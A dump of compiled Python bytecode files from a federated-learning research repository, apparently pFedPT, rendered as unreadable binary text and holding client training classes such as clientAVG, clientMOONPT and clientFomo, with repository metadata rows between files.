requires_gradr Úranger Ú enumerateÚtypeÚ
train_slowÚsleepÚnpÚabsÚrandomÚrandr Ú zero_gradr ÚbackwardÚstepÚ local_stepsÚrandintr r r r r
ÚnormÚdotr ÚdetachÚcpuÚtrain_time_cost) r Ú trainloaderÚ
start_timeÚparamr; ÚiÚxÚyÚoutputr Úmax_local_stepsÚv1r$ r$ r% r. " sf
zclientDynPT.trainc C sD t |j ¡ | jj ¡ ƒD ]\}}|j ¡ |_qt|ƒ ¡ ¡ | _d S )N) Úzipr r r
ÚdataÚcloner r@ r )r r
Ú new_paramÚ old_paramr$ r$ r% Úset_parametersf s zclientDynPT.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r. rQ Ú
__classcell__r$ r$ r" r% r s Dr c C s dd„ | ¡ D ƒ}tj|dd�S )Nc S s g | ]}| d ¡‘qS )éÿÿÿÿ)Úview)Ú.0Úpr$ r$ r% Ú
<listcomp>o ó z*model_parameter_vector.<locals>.<listcomp>r )Údim)r r
Úcat)r
rE r$ r$ r% r n s r ) r r
Útorch.nnr Únumpyr5 r+ Úflcore.clients.clientbaser r r r$ r$ r$ r% Ú<module> s b | 3,080 | Python | .py | 36 | 84.527778 | 394 | 0.415764 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,681 | clientphp.cpython-37.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientphp.cpython-37.pyc | B
fcX ã @ sV d dl Z d dlZd dlmZ d dlZd dlZd dlmZ G dd„ deƒZ ddd„Z
dS ) é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú clientPHPc s| t ƒ j||||f|� t ¡ | _tjj| j ¡ | j
d�| _ |j |j
| _ |j| _t | j¡| _x| j ¡ D ]
}d|_qjW d S )N)ÚlrF)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizerÚmuÚ
global_roundsÚlamdaÚcopyÚdeepcopyÚmodel_sÚ
requires_grad)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargsÚparam)Ú __class__© úF/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientphp.pyr s
zclientPHP.__init__c
C sˆ | ¡ }t ¡ }| j | j¡ | j | j¡ | j ¡ | j}| jrTt j
d|d ¡}xît |ƒD ]â}xÜt
|ƒD ]Ğ\}\}}t|ƒtg ƒkr�|d | j¡|d< n | | j¡}| | j¡}| jrÖt dt t j
¡ ¡ ¡ | j ¡ | |¡}| ||¡d| j } | t| j |¡| j |¡d| jƒ| j 7 } | ¡ | j ¡ qlW q^W | j ¡ | j ¡ | jd d7 < | jd t ¡ | 7 < d S )Né é r gš™™™™™¹?ÚrbfÚ
num_roundsÚ
total_cost) Úload_train_dataÚtimer
ÚtoÚdevicer ÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandr Ú zero_gradr r ÚMMDÚbaseÚbackwardÚstepÚcpuÚtrain_time_cost)
r Ú trainloaderÚ
start_timeÚmax_local_stepsr; ÚiÚxÚyÚoutputr r r r! r+ s4
*
zclientPHP.trainc C st | j | }x,t| ¡ | j ¡ ƒD ]\}}|j ¡ |_q W x6t| ¡ | j ¡ ƒD ] \}}|d| || |_qNW d S )Nr" )r Úzipr r ÚdataÚcloner
)r r
ÚRr Ú new_paramÚ old_paramr r r! Úset_parameters< s
zclientPHP.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r+ rK Ú
__classcell__r r )r r! r
s #r r< c C sÈ t | | ¡ ¡t || ¡ ¡t | | ¡ ¡ }}}| ¡ d¡ |¡}| ¡ d¡ |¡}| ¡ | d| } | ¡ | d| }
| ¡ | d| } t |j¡ |¡t |j¡ |¡t |j¡ |¡ } }
}|dk�rJddddg}x`|D ]X}| |d |d | d 7 } |
|d |d |
d 7 }
||d |d | d 7 }qîW |d
k�r²d d d
dg}xP|D ]H}| t d| | ¡7 } |
t d|
| ¡7 }
|t d| | ¡7 }�qfW t
| |
d| ¡S )a Emprical maximum mean discrepancy. The lower the result
the more evidence that distributions are the same.
Args:
x: first sample, distribution P
y: second sample, distribution Q
kernel: kernel type such as "multiscale" or "rbf"
r g @Z
multiscalegš™™™™™É?g à?gÍÌÌÌÌÌì?gÍÌÌÌÌÌô?r# éÿÿÿÿr$ é
é é é2 g à¿) r
ÚmmÚtÚdiagÚ unsqueezeÚ expand_asÚzerosÚshaper) ÚexpÚmean)rB rC Úkernelr* ÚxxÚyyÚzzÚrxÚryZdxxZdyyZdxyÚXXÚYYZXYZbandwidth_rangeÚar r r! r8 F s, 4
r8 )r< ) r r
Útorch.nnr Únumpyr. r( Úflcore.clients.clientbaser r r8 r r r r! Ú<module> s < | 3,309 | Python | .py | 43 | 74.906977 | 288 | 0.424985 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,682 | clientavg.cpython-39.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientavg.cpython-39.pyc | a
W¢bcª ã @ sD d dl Z d dlmZ d dlZd dlZd dlmZ G dd„ deƒZdS )é N)ÚClientc s$ e Zd Z‡ fdd„Zdd„ Z‡ ZS )Ú clientAVGc sB t ƒ j||||fi |¤� t ¡ | _tjj| j ¡ | j
d�| _ d S )N)Úlr) ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersZ
learning_rateÚ optimizer)ÚselfÚargsÚidZ
train_samplesZ test_samplesÚkwargs©Ú __class__© úr/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientavg.pyr
s
zclientAVG.__init__c
C sP | ¡ }t ¡ }| j | j¡ | j ¡ | j}| jrFtj
d|d ¡}t |ƒD ]Æ}t |ƒD ]¸\}\}}t
|ƒt
g ƒkrŒ|d | j¡|d< n | | j¡}| | j¡}| jrÄt dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j�rt| j|t|ƒƒ qZ| j ¡ qZqN| j ¡ | jd d7 < | jd t ¡ | 7 < d S )Né é r gš™™™™™¹?Z
num_roundsÚ
total_cost)Zload_train_dataÚtimer
ÚtoÚdeviceÚtrainÚ local_stepsZ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardZprivacyZdp_stepÚlenÚstepÚcpuZtrain_time_cost)
r Z trainloaderÚ
start_timeZmax_local_stepsr, ÚiÚxÚyÚoutputr r r r r s2
zclientAVG.train)Ú__name__Ú
__module__Ú __qualname__r r Ú
__classcell__r r r r r s r ) r
Útorch.nnr Únumpyr r Zflcore.clients.clientbaser r r r r r Ú<module> s
| 1,692 | Python | .py | 20 | 83.45 | 306 | 0.472803 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,683 | clientbn.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientbn.cpython-38.pyc | U
zgc› ã @ sD d dl Z d dlmZ d dlZd dlZd dlmZ G dd„ deƒZdS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )ÚclientBNc s> t ƒ j||||f|� t ¡ | _tjj| j ¡ | j
d�| _ d S )N)Úlr) ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizer)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© õC D:\京东\promot\cifar\cifar\tiny\system\flcore\clients\clientbn.pyr
s
zclientBN.__init__c C s” | ¡ }t ¡ }| j | j¡ | j ¡ | j}| jrFtj
d|d ¡}t |ƒD ]Æ}t |ƒD ]¸\}\}}t
|ƒt
g ƒkrŒ|d | j¡|d< n | | j¡}| | j¡}| jrÄt dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j�rt| j|t|ƒƒ qZ| j ¡ qZqN| j ¡ | jd d7 < | jd t ¡ | 7 < | j�r�t| jƒ\}
} t d| j › �d|
d d ›d
| › d |
d › �ƒ d S ) Né é r gš™™™™™¹?Ú
num_roundsÚ
total_costzClient u (ε = z.2fu , δ = u ) for α = ) Úload_train_dataÚtimer
ÚtoÚdeviceÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardÚprivacyÚdp_stepÚlenÚstepÚcpuÚtrain_time_costZ
get_dp_paramsÚprintr ) r Ú trainloaderÚ
start_timeÚmax_local_stepsr4 ÚiÚxÚyÚoutputr ÚresZDELTAr r r r# s8
zclientBN.trainc C s> t | ¡ | j ¡ ƒD ]$\\}}\}}d|kr|j ¡ |_qd S )NÚbn)ÚzipÚnamed_parametersr
ÚdataÚclone)r r
r r& ÚonÚopr r r Úset_parameters< s $zclientBN.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r# rG Ú
__classcell__r r r r r s 'r ) r
Útorch.nnr Únumpyr& r Úflcore.clients.clientbaser r r r r r Ú<module> s
| 2,065 | Python | .py | 22 | 92.727273 | 293 | 0.446184 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,684 | clientmoonpt.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientmoonpt.cpython-38.pyc | U
éÿcà ã @ s~ d dl Z d dlZd dlmZ d dlZd dlZd dlm mZ d dl
m Z d dl Z d dl m
Z
d dlmZ G dd„ de ƒZdS )é N)ÚClient)Úlabel_binarize)Úmetricsc s4 e Zd Z‡ fdd„Zdd„ Zdd„ Zdd„ Z‡ ZS ) Ú clientMOONPTc s¾ t ƒ j||||f|� t ¡ | _tj | jj
¡ | j dœ| jj
¡ | j dœg¡| _
|j| _tjj| jj
¡ |j|jd�| _tjjj| j| j|jd�| _|j| _|j| _d | _t | j¡| _ d S )N)ÚparamsÚlr)r Úmomentum)Ú step_sizeÚgamma) ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚbaseÚ
parametersÚ
learning_rateÚ predictorÚ optimizerÚ plocal_stepsÚ generatorÚpt_learning_rater Ú
poptimizerÚ lr_schedulerÚStepLRÚlearning_decayÚ schedulerÚtauÚmuÚ global_modelÚcopyÚdeepcopyÚ old_model)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© õd D:\京东\promot\第二次投稿\å®�验\æœ�务器\native - pro\system\flcore\clients\clientmoonpt.pyr s"
şÿÿzclientMOONPT.__init__c C sÚ | ¡ }t ¡ }t | jj¡}| j | j¡ | j | j¡ | j | j¡ | j
¡ | jj ¡ D ]
}d|_
q^| jj ¡ D ]
}d|_
qv| jj ¡ D ]
}d|_
q�t| jƒD ]¶}t|ƒD ]¨\}\}}t|ƒtg ƒkrâ|d | j¡|d< n | | j¡}| | j¡}| j�r t dt tj ¡ ¡ ¡ | j ¡ | |¡} | | |¡}
|
¡ | j ¡ | j ¡ q°q¤| j } | j�r|tj d| d ¡} | jj ¡ D ] }d|_
�qˆ| jj ¡ D ] }d|_
�q¢| jj ¡ D ] }d|_
�q¼t| ƒD �]F}t|ƒD �]4\}\}}t|ƒtg ƒk�r|d | j¡|d< n | | j¡}| | j¡}| j�rPt dt tj ¡ ¡ ¡ | j! ¡ | j |¡} | j | ¡} | | |¡}
| j |¡ "¡ }
| j |¡ "¡ }t# $t# %t& '| |¡| j( ¡t# %t& '| |¡| j( ¡t# %t& '| |
¡| j( ¡ ¡ }|
| j)t# *|¡ 7 }
|
¡ | j! ¡ �qà�qÒ| j +¡ | j +¡ | j +¡ t | j¡| _ t | jj¡}d}t,| ¡ | ¡ ƒD ]<\}}|| }t# -|dk|t# .|¡| ¡}|t# /|¡ }�ql| j0d d7 < | j0d t ¡ | 7 < |S ) NFTr gš™™™™™¹?é é Ú
num_roundsÚ
total_cost)1Úload_train_dataÚtimer$ r% r r ÚtoÚdevicer# r& Útrainr r Ú
requires_gradr Úranger Ú enumerateÚtypeÚ
train_slowÚsleepÚnpÚabsÚrandomÚrandr Ú zero_gradr ÚbackwardÚstepr Ú local_stepsÚrandintr Údetachr ÚlogÚexpÚFÚcosine_similarityr! r" ÚmeanÚcpuÚzipÚwhereÚ
zeros_likeÚsumÚtrain_time_cost)r' Ú trainloaderÚ
start_timeÚ
old_promptÚparamrF ÚiÚxÚyÚoutputr Úmax_local_stepsÚrepÚrep_oldÚ
rep_globalÚloss_conÚ
new_promptÚ
diff_provalueÚ new_paramÚ old_paramÚdiff_pror/ r/ r0 r9 + s�
ÿÿ
zclientMOONPT.trainc C sf t |j ¡ | jj ¡ ƒD ]\}}|j ¡ |_qt |j ¡ | jj ¡ ƒD ]\}}|j ¡ |_qF|| _d S )N)rP r r r ÚdataÚcloner r# )r' r rd re r/ r/ r0 Úset_parameters s
zclientMOONPT.set_parametersc C s~ | ¡ }| j | j¡ | j ¡ d}d}d}g }g }t ¡ �ú |D ]î\}}t|ƒtg ƒkrp|d | j¡|d< n | | j¡}| | j¡}| |¡} | j | j |¡¡}
|t
tj | dd�|k¡ ¡ 7 }|t
tj |
dd�|k¡ ¡ 7 }||j
d 7 }| | ¡ ¡ ¡ ¡ | t| ¡ ¡ ¡ t | j¡d�¡ qBW 5 Q R X | j ¡ tj|dd�}tj|dd�}tj||dd�} |||| fS )Nr r1 )Údim)Úclasses)ÚaxisÚmicro)Úaverage)Úload_test_datar r7 r8 Úevalr Úno_gradr= r r rS ÚargmaxÚitemÚshapeÚappendrI rO Únumpyr r@ ÚarangeÚ num_classesÚ concatenater Ú
roc_auc_score) r' ÚtestloaderfullÚtest_accÚ test_acc2Útest_numÚy_probÚy_truerZ r[ r\ Úoutput2Úaucr/ r/ r0 Ú test_metrics† s4
2
zclientMOONPT.test_metrics)Ú__name__Ú
__module__Ú __qualname__r r9 ri rƒ Ú
__classcell__r/ r/ r- r0 r s Tr )r$ r Útorch.nnr
rv r@ r6 Útorch.nn.functionalÚ
functionalrL Úflcore.clients.clientbaser Úsklearn.preprocessingr Úsklearnr r r/ r/ r/ r0 Ú<module> s | 4,417 | Python | .py | 49 | 88.877551 | 555 | 0.413596 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,685 | clientamp.cpython-37.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientamp.cpython-37.pyc | B
ü
fc ã @ sT d dl Z d dlmZ d dlmZ d dlZd dlZd dlZG dd„ deƒZ dd„ Z
dS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú clientAMPc s\ t ƒ j||||f|� |j| _|j| _t | j¡| _t ¡ | _
t j j
| j ¡ | jd�| _d S )N)Úlr)ÚsuperÚ__init__ÚalphaKÚlamdaÚcopyÚdeepcopyÚmodelÚclient_uÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚ
parametersÚ
learning_rateÚ optimizer)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs)Ú __class__© úF/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientamp.pyr
s
zclientAMP.__init__c C sŠ | ¡ }t ¡ }| j | j¡ | j | j¡ | j ¡ | j}| jrTt j
d|d ¡}xît |ƒD ]â}xÜ|D ]Ô\}}t
|ƒt
g ƒkr–|d | j¡|d< n | | j¡}| | j¡}| jrÎt dt t j
¡ ¡ ¡ | j ¡ | |¡}| ||¡}t| jƒ} t| jƒ}
| |
} || j| j d t | | ¡ 7 }| ¡ | j ¡ qhW q^W | j ¡ | j ¡ ~| j d d7 < | j d t ¡ | 7 < d S )Né é r gš™™™™™¹?Ú
num_roundsÚ
total_cost) Úload_train_dataÚtimer ÚtoÚdevicer ÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚtypeÚsleepÚabsÚrandr Ú zero_gradr Úweight_flattenr r r ÚdotÚbackwardÚstepÚcpuÚtrain_time_cost) r Ú trainloaderÚ
start_timeÚmax_local_stepsr6 ÚxÚyÚoutputr ÚparamsÚparams_Úsubr r r r' s<
zclientAMP.trainc C s< x6t | ¡ | j ¡ ƒD ] \}}|j||j ¡ |_qW d S )N)Úzipr r ÚdataÚclone)r r Ú coef_selfÚ new_paramÚ old_paramr r r Úset_parameters? s zclientAMP.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r' rH Ú
__classcell__r r )r r r s
+r c C s4 g }x | ¡ D ]}| | d¡¡ qW t |¡}|S )Néÿÿÿÿ)r ÚappendÚviewr Úcat)r r? Úur r r r3 D s
r3 ) r Útorch.nnr
Úflcore.clients.clientbaser Únumpyr* r$ r r r3 r r r r Ú<module> s ; | 2,256 | Python | .py | 27 | 82.37037 | 269 | 0.436323 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,686 | clientdyn.cpython-37.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientdyn.cpython-37.pyc | B
È:cc ã @ sT d dl Z d dlZd dlmZ d dlZd dlZd dlmZ G dd„ deƒZ dd„ Z
dS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú clientDync sl t ƒ j||||f|� t ¡ | _tjj| j ¡ | j
d�| _ |j | _ d | _
t | j¡}t|ƒ}t |¡| _d S )N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizerÚalphaÚglobal_model_vectorÚcopyÚdeepcopyÚmodel_parameter_vectorÚ
zeros_likeÚold_grad)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargsr )Ú __class__© úF/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientdyn.pyr s
zclientDyn.__init__c C sğ | ¡ }t ¡ }| j | j¡ | j | j¡| _| j | j¡| _| j ¡ | j}| j rft
j d|d ¡}�xt
|ƒD ]ö}xğt|ƒD ]ä\}\}}t|ƒtg ƒkr²|d | j¡|d< n | | j¡}| | j¡}| j rêt dt
t
j ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | jd k�rRt| jƒ}
| | jd t |
| j d¡ 7 } | t |
| j¡8 } | ¡ | j ¡ q€W qrW | jd k�r�t| jƒ ¡ }
| j| j|
| j | _| j ¡ | j ¡ | _| j ¡ | _| j d d7 < | j d t ¡ | 7 < d S )Né é r gš™™™™™¹?Ú
num_roundsÚ
total_cost) Úload_train_dataÚtimer
ÚtoÚdevicer r ÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandr Ú zero_gradr r r r
ÚnormÚdotÚbackwardÚstepÚdetachÚcpuÚtrain_time_cost) r Ú trainloaderÚ
start_timeÚmax_local_stepsr9 ÚiÚxÚyÚoutputr Úv1r r r r) sD
zclientDyn.trainc C sD x,t | ¡ | j ¡ ƒD ]\}}|j ¡ |_qW t|ƒ ¡ ¡ | _d S )N)Úzipr r
ÚdataÚcloner r: r )r r
Ú new_paramÚ old_paramr r r Úset_parametersO s zclientDyn.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r) rJ Ú
__classcell__r r )r r r
s 1r c C s dd„ | ¡ D ƒ}tj|dd�S )Nc S s g | ]}| d ¡‘qS )éÿÿÿÿ)Úview)Ú.0Úpr r r ú
<listcomp>W s z*model_parameter_vector.<locals>.<listcomp>r )Údim)r r
Úcat)r
Úparamr r r r V s r ) r r
Útorch.nnr Únumpyr, r& Úflcore.clients.clientbaser r r r r r r Ú<module> s L | 2,573 | Python | .py | 30 | 84.7 | 285 | 0.430031 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,687 | clientbase.cpython-39.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientbase.cpython-39.pyc | a
W¢bc ã @ s‚ d dl Z d dlZd dlmZ d dlZd dlZd dlm mZ d dl
m Z d dl m
Z
d dlmZ d dlmZ G dd„ deƒZdS )é N)Ú
DataLoader)Úlabel_binarize)Úmetrics)Úread_client_datac @ sh e Zd ZdZdd„ Zddd„Zddd„Zd d
„ Zd d „ Zd
d„ Z dd„ Z
dd„ Z ddd„Z ddd„Z
dS )ÚClientz7
Base class for clients in federated learning.
c K sÒ t |j¡| _|j| _|j| _|| _|j| _|j| _|| _|| _ |j
| _
|j | _ |j
| _
d| _| j ¡ D ]}t|tjƒrhd| _ q„qh|d | _|d | _dddœ| _dddœ| _|j| _|j| _| j
| j | _d S )NFTÚ
train_slowÚ send_slowr g )Ú
num_roundsÚ
total_cost)ÚcopyÚdeepcopyÚmodelÚdatasetÚdeviceÚidÚsave_folder_nameÚ num_classesÚ
train_samplesÚ test_samplesÚ
batch_sizeÚlocal_learning_rateÚ
learning_rateÚ local_stepsZ
has_BatchNormÚchildrenÚ
isinstanceÚnnÚ BatchNorm2dr r Útrain_time_costZsend_time_costÚprivacyZdp_sigmaÚ sample_rate)ÚselfÚargsr r r ÚkwargsÚlayer© r$ ús/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientbase.pyÚ__init__ s.
zClient.__init__Nc C s0 |d kr| j }t| j| jdd�}t||ddd�S )NT©Zis_train©Ú drop_lastÚshuffle©r r r r r )r r Ú
train_datar$ r$ r% Úload_train_data1 s zClient.load_train_datac C s0 |d kr| j }t| j| jdd�}t||ddd�S )NFr' Tr( r+ )r r Ú test_datar$ r$ r% Úload_test_data7 s zClient.load_test_datac C s. t | ¡ | j ¡ ƒD ]\}}|j ¡ |_qd S ©N)ÚzipÚ
parametersr
ÚdataÚclone)r r
Ú new_paramÚ old_paramr$ r$ r% Úset_parameters= s zClient.set_parametersc C s, t | ¡ | ¡ ƒD ]\}}|j ¡ |_qd S r0 ©r1 r2 r3 r4 )r r
ÚtargetÚparamZ target_paramr$ r$ r% Ú clone_modelA s zClient.clone_modelc C s( t | ¡ |ƒD ]\}}|j ¡ |_qd S r0 r8 )r r
Ú
new_paramsr: r5 r$ r$ r% Úupdate_parametersF s zClient.update_parametersc
C sZ | ¡ }| j | j¡ | j ¡ d}d}g }g }t ¡ �Ğ |D ]º\}}t|ƒtg ƒkrl|d | j¡|d< n | | j¡}| | j¡}| |¡}|t tj |dd�|k¡
¡ 7 }||j d 7 }| |
¡ ¡ ¡ ¡ | t|
¡ ¡ ¡ t | j¡d�¡ q>W d ƒ n1 �s0 Y | j ¡ tj|dd�}tj|dd�}tj||dd�} ||| fS )Nr é )Údim)Úclasses)ÚaxisÚmicro)Úaverage)r/ r
Útor ÚevalÚtorchÚno_gradÚtypeÚsumÚargmaxÚitemÚshapeÚappendÚdetachÚcpuÚnumpyr ÚnpÚaranger Ú concatenater Z
roc_auc_score)
r ZtestloaderfullZtest_accZtest_numZy_probZy_trueÚxÚyÚoutputZaucr$ r$ r% Ú test_metricsJ s.
H
zClient.test_metricsc C s¼ | ¡ }| j | j¡ | j ¡ d}d}|D ]|\}}t|ƒtg ƒkrZ|d | j¡|d< n | | j¡}| | j¡}| |¡}||jd 7 }|| ||¡ ¡ |jd 7 }q,| j ¡ ||fS )Nr )
r- r
rD r rE rH rL ÚlossrK rO )r Ú trainloaderZ train_numrX rT rU rV r$ r$ r% Ú
train_metricsn s
zClient.train_metricsc C sT |d kr| j }tj |¡s$t |¡ t |tj |dt| j ƒ d | d ¡¡ d S ©NZclient_Ú_z.pt)
r ÚosÚpathÚexistsÚmakedirsrF ÚsaveÚjoinÚstrr )r rK Ú item_nameÚ item_pathr$ r$ r% Ú save_item– s
zClient.save_itemc C s8 |d kr| j }t tj |dt| jƒ d | d ¡¡S r[ )r rF Úloadr] r^ rb rc r )r rd re r$ r$ r% Ú load_item� s zClient.load_item)N)N)N)N)Ú__name__Ú
__module__Ú __qualname__Ú__doc__r& r- r/ r7 r; r= rW rZ rf rh r$ r$ r$ r% r
s
$(
r )r rF Útorch.nnr rP rQ r] Útorch.nn.functionalÚ
functionalÚFÚtorch.utils.datar Zsklearn.preprocessingr Zsklearnr Zutils.data_utilsr Úobjectr r$ r$ r$ r% Ú<module> s | 4,448 | Python | .py | 40 | 109.925 | 425 | 0.432978 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,688 | clientfomo.cpython-39.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientfomo.cpython-39.pyc | a
f¾`c· ã @ sd d dl Z d dlmZ d dlZd dlZd dlZd dlmZ d dl m
Z
d dl m Z G dd„ deƒZ
dS )é N)ÚClient)Ú
DataLoader)Úread_client_datac sn e Zd Z‡ fdd„Zdd„ Zddd„Zdd „ Zd
d „ Zd d
„ Zdd„ Z dd„ Z
dd„ Z dd„ Z dd„ Z
‡ ZS )Ú
clientFomoc s� t ƒ j||||fi |¤� |j| _t | j¡| _g | _g | _t j
| j| j d�| _ t
¡ | _t jj| j ¡ | jd�| _d| _| jd| j | _d S )N)Údevice)Úlrgš™™™™™É?é )ÚsuperÚ__init__Ú num_clientsÚcopyÚdeepcopyÚmodelÚ old_modelÚ received_idsÚreceived_modelsÚtorchÚzerosr Ú
weight_vectorÚnnÚCrossEntropyLossÚlossÚoptimÚSGDÚ
parametersÚ
learning_rateÚ optimizerÚ val_ratioÚ
train_samples)ÚselfÚargsÚidr Ú test_samplesÚkwargs©Ú __class__© ús/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientfomo.pyr
s
zclientFomo.__init__c
C s2 | ¡ \}}t ¡ }| |¡ | | j| j¡ | j ¡ | j}| jrVt j
d|d ¡}t |ƒD ]¢}|D ]˜\}}t
|ƒt
g ƒkr”|d | j¡|d< n | | j¡}| | j¡}| jrÌt dt t j
¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j ¡ qfq^| jd d7 < | jd t ¡ | 7 < d S )Nr é r gš™™™™™¹?Ú
num_roundsÚ
total_cost)Úload_train_dataÚtimeÚaggregate_parametersÚ clone_modelr r ÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚtypeÚtor ÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardÚstepÚtrain_time_cost)
r Ú trainloaderÚ
val_loaderÚ
start_timeÚmax_local_stepsr= ÚxÚyÚoutputr r& r& r' r/ s.
zclientFomo.trainNc C sz |d kr| j }t| j| jdd�}t| jt|ƒ ƒ }||d … }|d |… }t|| j ddd�}t|| j | jdd�}||fS )NT)Úis_train)Ú drop_lastÚshuffle) Ú
batch_sizer Údatasetr! Úintr Úlenr Ú
has_BatchNorm)r rI Ú
train_dataÚval_idxZval_datar? r@ r& r& r' r+ ? s zclientFomo.load_train_datac C s¨ | ¡ \}}| j ¡ d}d}|D ]|\}}t|ƒtg ƒkrP|d | j¡|d< n | | j¡}| | j¡}| |¡}||jd 7 }|| ||¡ ¡ |jd 7 }q"||fS ©Nr ) r+ r Úevalr6 r7 r Úshaper Úitem)r r? r@ Ú train_numr rC rD rE r& r& r' Ú
train_metricsL s
zclientFomo.train_metricsc C s || _ || _d S ©N)r r )r ÚidsÚmodelsr& r& r' Úreceive_modelsc s zclientFomo.receive_modelsc C s– g }| | j|¡}| jD ]h}g }t| ¡ | j ¡ ƒD ] \}}| || d¡¡ q4t |¡}| || ||¡ t |¡d ¡ q|
|¡ t |¡S )Néÿÿÿÿgñh㈵øä>) Úrecalculate_lossr r Úzipr ÚappendÚviewr ÚcatÚnormÚweight_vector_updateÚtensor)r r@ Ú weight_listÚLÚreceived_modelZ
params_difZparam_nZparam_ir& r& r' Ú
weight_calg s
&
zclientFomo.weight_calc C sT t | j¡| _t|| jƒD ] \}}| j| | ¡ 7 < qt | j¡ | j
¡| _d S rV ) r2 r r r r\ r rS r rb r7 r )r rc Úwr! r& r& r' ra ‚ s z clientFomo.weight_vector_updatec C s| d}|D ]f\}}t |ƒt g ƒkr6|d | j¡|d< n | | j¡}| | j¡}||ƒ}| ||¡}|| ¡ 7 }q|t|ƒ S rP )r6 r7 r r rS rL )r Z new_modelr@ rd rC rD rE r r& r& r' r[ Œ s zclientFomo.recalculate_lossc C s: t | j ¡ | ¡ ƒD ] \}}| j|j ¡ | 7 _qd S rV )r\ r r ÚdataÚclone)r rg re ÚparamZreceived_paramr& r& r' Úadd_parametersš s zclientFomo.add_parametersc C s\ | | |¡¡}t|ƒdkrX| j ¡ D ]}|j ¡ q&t|| jƒD ]\}}| ||¡ qBd S rP )
Ú weight_scalerf rL r r rh Úzero_r\ r rk )r r@ Úweightsrj rg re r& r& r' r- � s z clientFomo.aggregate_parametersc sN t |t d¡¡}t |¡‰ ˆ dkr@‡ fdd„|D ƒ}t |¡S t g ¡S d S )Nr c s g | ] }|ˆ ‘qS r& r& )Ú.0rg ©Úw_sumr& r' Ú
<listcomp>¬ ó z+clientFomo.weight_scale.<locals>.<listcomp>)r Úmaximumrb Úsum)r rn r& rp r' rl ¨ s
zclientFomo.weight_scale)N)Ú__name__Ú
__module__Ú __qualname__r
